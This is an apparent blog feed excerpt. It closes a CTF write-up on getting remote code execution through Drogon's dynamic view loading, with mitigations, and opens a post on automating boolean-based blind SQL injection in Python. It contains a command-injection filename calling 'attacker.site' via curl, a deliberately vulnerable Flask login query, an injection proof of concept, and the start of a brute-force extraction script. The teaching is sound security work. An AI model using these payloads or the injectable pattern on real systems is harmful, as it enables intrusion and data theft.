https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-exec-on-filename-549w.webp 549w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 549px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Additionally, our command can contain slashes, since Drogon recursively scans subdirectories. A file named &lt;code&gt;foo$(curl attacker.site/abcd)&lt;/code&gt; will be treated as a folder (&lt;code&gt;foo$(curl attacker.site/&lt;/code&gt;) + a file (&lt;code&gt;abcd)&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id=&quot;takeaways-and-mitigations&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#takeaways-and-mitigations&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Takeaways and Mitigations&lt;/h2&gt;
&lt;p&gt;Although this was meant for a couple fun 48-hour CTF challenges, it feels appropriate to close with some tips on defence.&lt;/p&gt;
&lt;p&gt;So what did we learn?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Drogon, at the moment, does not sandbox or properly sanitise CSP content.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fn4&quot; id=&quot;fnref4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; This is by design, since CSPs inherently contain trusted content.&lt;/li&gt;
&lt;li&gt;There are three main ways to achieve RCE on a DVL-enabled Drogon server. And this comes with the prerequisite of file-write privileges.
&lt;ol&gt;
&lt;li&gt;RCE via Rendered CSP&lt;/li&gt;
&lt;li&gt;RCE via Init Section&lt;/li&gt;
&lt;li&gt;RCE via File Name&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;Denylists need to consider a wide range of bypass methods.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;And mitigations?&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Don&#39;t enable Dynamic Views Loading, unless you&#39;re in a local dev environment. Switch off DVL after using.&lt;/li&gt;
&lt;li&gt;Don&#39;t allow untrusted input to be compiled and loaded as views; statically or dynamically.&lt;/li&gt;
&lt;li&gt;Protecc your dynamic views directory. Don&#39;t allow untrusted files to be written there.
&lt;ul&gt;
&lt;li&gt;It doesn&#39;t matter if the view will be rendered in application code, because — &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#4-rce-via-file-name&quot;&gt;as we discovered earlier&lt;/a&gt; — once &lt;code&gt;drogon_ctl&lt;/code&gt; is run, an RCE endpoint is already exposed.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If, on the off chance, your environment accepts untrusted CSP files, you should consider using some filtering/denylist mechanism.
&lt;ul&gt;
&lt;li&gt;If filtering is performed, it should happen before files are written to the dynamic views directory. Once files are written, it&#39;s too late: Drogon kicks in and devours the CSP.
&lt;a class=&quot;lightbox-single&quot; title=&quot;Defensive filtering, if any, should occur before CSP files are written.&quot; href=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-549w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-70 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-549w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 549 / 564&quot; alt=&quot;Defensive filtering, if any, should occur before CSP files are written.&quot; title=&quot;Defensive filtering, if any, should occur before CSP files are written.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-256w.webp 256w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-512w.webp 512w, https://trebledj.me/img/posts/infosec/drogon-csp/assets/drogon-dynamic-view-loading-defence-549w.webp 549w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 549px&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
 &lt;p class=&quot;caption&quot;&gt;
 &lt;sup&gt;Defensive filtering, if any, should occur before CSP files are written.&lt;/sup&gt;
 &lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Do I expect the RCE issues to be fixed? Considering the purpose of DVLs... probably not. Judging by the maintainer&#39;s stance, DVLs are purely meant for development:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Note: This feature is best used to adjust the HTML page during the development phase. In the production environment, it is recommended to compile the csp file directly into the target file. This is mainly for security and stability.&lt;/em&gt; (&lt;a href=&quot;https://github.com/drogonframework/drogon/wiki/ENG-06-View#Dynamic-compilation-and-loading-of-views:~:text=This%20feature%20is%20best%20used%20to%20adjust%20the%20HTML%20page%20during%20the%20development%20phase.&quot;&gt;Source&lt;/a&gt;)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;conclusion&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#conclusion&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Conclusion&lt;/h2&gt;
&lt;p&gt;Although Dynamic Views Loading (DVL) seems appealing for implementing features such as user-generated content or dynamically adding plugins, DVL is a dangerous liability if left in the open. In this post, we&#39;ve demonstrated multiple ways to exploit DVL, given file-write privileges. DVL is ill-suited for production-use and should only be used for its intended purpose — local testing in development environments.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Dragon&#39;s Back in Hong Kong Island. Photo credit: Hong Kong Tourism Board.&quot; href=&quot;https://trebledj.me/img/poi-4-960x720-a-960w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/poi-4-960x720-a-960w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 960 / 720&quot; alt=&quot;Dragon&#39;s Back in Hong Kong Island. Photo credit: Hong Kong Tourism Board.&quot; title=&quot;Dragon&#39;s Back in Hong Kong Island. Photo credit: Hong Kong Tourism Board.&quot; srcset=&quot;https://trebledj.me/img/poi-4-960x720-a-256w.webp 256w, https://trebledj.me/img/poi-4-960x720-a-512w.webp 512w, https://trebledj.me/img/poi-4-960x720-a-960w.webp 960w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 960px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Nice View: the &lt;em&gt;Dragon&#39;s Back&lt;/em&gt; Hiking Trail in Hong Kong Island.&lt;/sup&gt;&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This situation may be less hypothetical than we think. According to Shodan, there are over 1000 servers around the world running Drogon. How many do you think were poorly configured, with devs thinking… “I’ll just enable Dynamic Views Loading for convenience. Nobody can find my IP anyway.” I’m willing to bet there’s at least 1. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;code&gt;dlopen&lt;/code&gt; seems to only be available &lt;a href=&quot;https://github.com/drogonframework/drogon/blob/637046189653ea22e6c4b13d7f47023170fa01b1/CMakeLists.txt#L320&quot;&gt;on Unix-like machines&lt;/a&gt;. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Whitelisting a program&#39;s &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Abstract Syntax Tree&quot;&gt;AST&lt;/abbr&gt; could prove effective, but this requires us to first generate an AST — a non-trivial problem. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;At the time of writing, I&#39;m using Drogon version 1.9.1. &lt;a href=&quot;https://trebledj.me/posts/abusing-server-side-rendering-in-drogon/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>infosec</category>
        
          <category>cpp</category>
        
          <category>ctf</category>
        
          <category>web</category>
        
          <category>programming</category>
        
          <category>linux</category>
        
          <category>notes</category>
        
          <category>research</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>Automating Boolean-Based SQL Injection with Python</title>
        <description>How to be efficiently lazy at finding hidden gems in predictable places – Database Edition</description>
        <link href="https://trebledj.me/posts/automating-boolean-sql-injection-with-python/"/>
        <updated>2024-08-10T00:00:00Z</updated>
        <id>https://trebledj.me/posts/automating-boolean-sql-injection-with-python/</id>
        <content xml:lang="en" type="html">&lt;p&gt;When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to exploit — Boolean-Based SQLi.&lt;/p&gt;
&lt;p&gt;Tedious, heavily-repetitive tasks often present themselves as nice opportunities for automation. In this post, we’ll review Boolean-Based SQL Injection, and explore how to automate it with Python by starting with a basic script, optimising, applying multithreading, and more. We&#39;ll mainly focus on high-level approaches towards automation and keep our code snippets short.&lt;/p&gt;
&lt;p&gt;The end result is a script which automates network requests and brute-forcing into a nice interface:&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-100 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/hkirc-ctf-2024-demo.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Demo of the Python script in a CTF challenge.&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;what-is-boolean-based-blind-sql-injection&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#what-is-boolean-based-blind-sql-injection&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What is Boolean-Based Blind SQL Injection?&lt;/h2&gt;
&lt;p&gt;What a long name.&lt;/p&gt;
&lt;p&gt;Let’s break it down from right to left:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SQL Injection&lt;/strong&gt;: an SQL query is combined with a user payload which makes the resulting query behave differently, potentially resulting in sensitive information disclosure or remote code execution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blind&lt;/strong&gt;: SQL output is not returned directly in the response, but indirectly by some other indicator, such as a boolean response or time.
&lt;ul&gt;
&lt;li&gt;Sometimes, this term is dropped when discussing Boolean-Based SQLi, because Boolean-Based &lt;em&gt;implies&lt;/em&gt; Blind.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Boolean-Based&lt;/strong&gt;: the attacker crafts SQL queries that return a &lt;em&gt;TRUE&lt;/em&gt; or &lt;em&gt;FALSE&lt;/em&gt; response based on the injected conditions. This could appear as:
&lt;ul&gt;
&lt;li&gt;different status codes (e.g. 302 redirect on success, 401 on fail),&lt;/li&gt;
&lt;li&gt;different response body (e.g. error messages, full search results), or&lt;/li&gt;
&lt;li&gt;(rarely) different headers (e.g. Set-Cookie).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By carefully analysing the application&#39;s response to these manipulated queries, we can extract data bit by bit, deduce the structure of the database, and potentially leak sensitive data.&lt;/p&gt;
&lt;p&gt;Each &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;Database Management System (e.g. MySQL, Microsoft SQL Server, SQLite, PostgreSQL)&quot;&gt;DBMS&lt;/abbr&gt; has unique functions and grammar, so the SQLi syntax may be different. In MySQL, we can extract individual characters using the &lt;code&gt;SUBSTRING()&lt;/code&gt; function and convert them to numbers with &lt;code&gt;ASCII()&lt;/code&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;By comparing the values with &lt;strong&gt;ASCII numbers&lt;/strong&gt;, we can determine the character stored.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;ASCII table.&quot; href=&quot;https://trebledj.me/img/asciifull-715w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/asciifull-715w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 715 / 488&quot; alt=&quot;ASCII table.&quot; title=&quot;ASCII table.&quot; srcset=&quot;https://trebledj.me/img/asciifull-256w.webp 256w, https://trebledj.me/img/asciifull-512w.webp 512w, https://trebledj.me/img/asciifull-715w.webp 715w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 715px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Simple SQLi Example&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;So what does this look like practically?&lt;/p&gt;
&lt;p&gt;Here we have a simple Flask server with an in-memory SQLite database containing a &lt;code&gt;login&lt;/code&gt; endpoint. The &lt;code&gt;login()&lt;/code&gt; function is simple: check if the username and password exists in the DB. If it exists, then login is successful.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/automating-boolean-sql-injection-with-python/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;server.py&quot; data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token decorator annotation punctuation&quot;&gt;@app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;route&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;/login&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; methods&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;POST&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;login&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    username &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;form&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;username&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    password &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;form&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Check if username/password exists.&lt;/span&gt;
    query &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;SELECT * FROM users WHERE username=&#39;{}&#39; AND password=&#39;{}&#39;&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;username&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; password&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; conn&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cursor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;execute&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;query&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    user &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fetchone&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; user&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Login successful!&#39;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;Login failed.&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;server.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is vulnerable to SQL injection, since the &lt;code&gt;username&lt;/code&gt; and &lt;code&gt;password&lt;/code&gt; parameters are formatted into the query without any sanitisation and without using prepared statements. But this is &lt;em&gt;blind&lt;/em&gt; SQLi, because the results are not returned, only &amp;quot;Login successful&amp;quot; or &amp;quot;Login failed&amp;quot;.&lt;/p&gt;
&lt;p&gt;To exploit this, we start by crafting a proof-of-concept. We&#39;ll pass &lt;code&gt;&#39; OR 1=1-- &lt;/code&gt; to the &lt;code&gt;username&lt;/code&gt; parameter, transforming the query into:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-sql&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sql&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;SELECT&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FROM&lt;/span&gt; users &lt;span class=&quot;token keyword&quot;&gt;WHERE&lt;/span&gt; username&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;OR&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;-- &#39; AND password=&#39;...&#39;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;SQL&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;where everything after &lt;code&gt;--&lt;/code&gt; is treated as a comment.&lt;/p&gt;
&lt;p&gt;Since &lt;code&gt;1=1&lt;/code&gt; is always true, all users will be selected, and the page returns: &amp;quot;Login successful&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Basic Proof-of-Concept showing a TRUE/FALSE response from our demo server.&quot; href=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1200w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1200w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1200 / 180&quot; alt=&quot;Basic Proof-of-Concept showing a TRUE/FALSE response from our demo server.&quot; title=&quot;Basic Proof-of-Concept showing a TRUE/FALSE response from our demo server.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-256w.webp 256w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-512w.webp 512w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/automating-boolean-sqli/assets/login-success-1200w.webp 1200w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1200px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Using this, we can detect &lt;em&gt;TRUE&lt;/em&gt; responses by checking if the body contains &amp;quot;success&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Great success!&quot; href=&quot;https://trebledj.me/img/960x0-959w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/960x0-959w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 959 / 759&quot; alt=&quot;Great success!&quot; title=&quot;Great success!&quot; srcset=&quot;https://trebledj.me/img/960x0-256w.webp 256w, https://trebledj.me/img/960x0-512w.webp 512w, https://trebledj.me/img/960x0-959w.webp 959w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 959px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Moreover, we can leak further information by changing &lt;code&gt;1=1&lt;/code&gt; to other guessy queries. For instance, we can use this bad boy — &lt;code&gt;UNICODE(SUBSTRING(sqlite_version(), 1, 1))=51&lt;/code&gt; — to test if the first character of &lt;code&gt;sqlite_version()&lt;/code&gt; is &lt;code&gt;&#39;3&#39;&lt;/code&gt;. This is where the tedious part comes in: we need to scan two variables: the index and the ASCII character. Scripting helps eliminate this manual labour.&lt;/p&gt;
&lt;p&gt;We can use this simple script to brute-force the remaining characters:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; requests

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;check_sql_value&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; idx&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; guess&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;http://127.0.0.1:5000/login&#39;&lt;/span&gt;
    data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&#39;username&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token string&quot;&gt;&#39;password&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&quot;&#39; OR UNICODE(SUBSTRING(&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;sql_query&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;idx&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;, 1)) = &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;guess&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; -- &quot;&lt;/span&gt;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; requests&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;post&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; data&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;data&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;success&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; r&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text

max_data_len &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;
final_data &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# SQL&#39;s SUBSTRING uses 1-based indexing.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; idx &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; max_data_len&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
